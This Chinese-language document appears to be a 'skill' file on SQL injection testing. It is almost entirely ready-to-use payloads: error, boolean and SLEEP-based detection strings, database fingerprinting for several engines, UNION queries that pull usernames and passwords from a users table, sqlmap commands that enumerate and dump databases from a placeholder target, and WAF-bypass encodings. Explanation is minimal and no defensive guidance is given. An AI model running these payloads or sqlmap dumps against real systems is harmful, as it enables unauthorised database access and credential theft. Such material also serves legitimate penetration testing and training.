SQL注入测试的专业技能和方法论
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
' - 查看是否出现SQL错误' AND '1'='1 vs ' AND '1'='2' AND SLEEP(5)--' UNION SELECT NULL--' AND @@version LIKE '%mysql%'--' AND version() LIKE '%PostgreSQL%'--' AND @@version LIKE '%Microsoft%'--' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--' UNION SELECT database()--' UNION SELECT table_name FROM information_schema.tables--' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--' UNION SELECT username,password FROM users--# 基础扫描
sqlmap -u "http://target.com/page?id=1"
# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
/**/, --, #SeLeCt, UnIoN/**/, +, %09(Tab), %0A(换行)原始:' UNION SELECT NULL--
绕过1:'/**/UNION/**/SELECT/**/NULL--
绕过2:'%55nion%20select%20null--
绕过3:'/*!UNION*//*!SELECT*/null--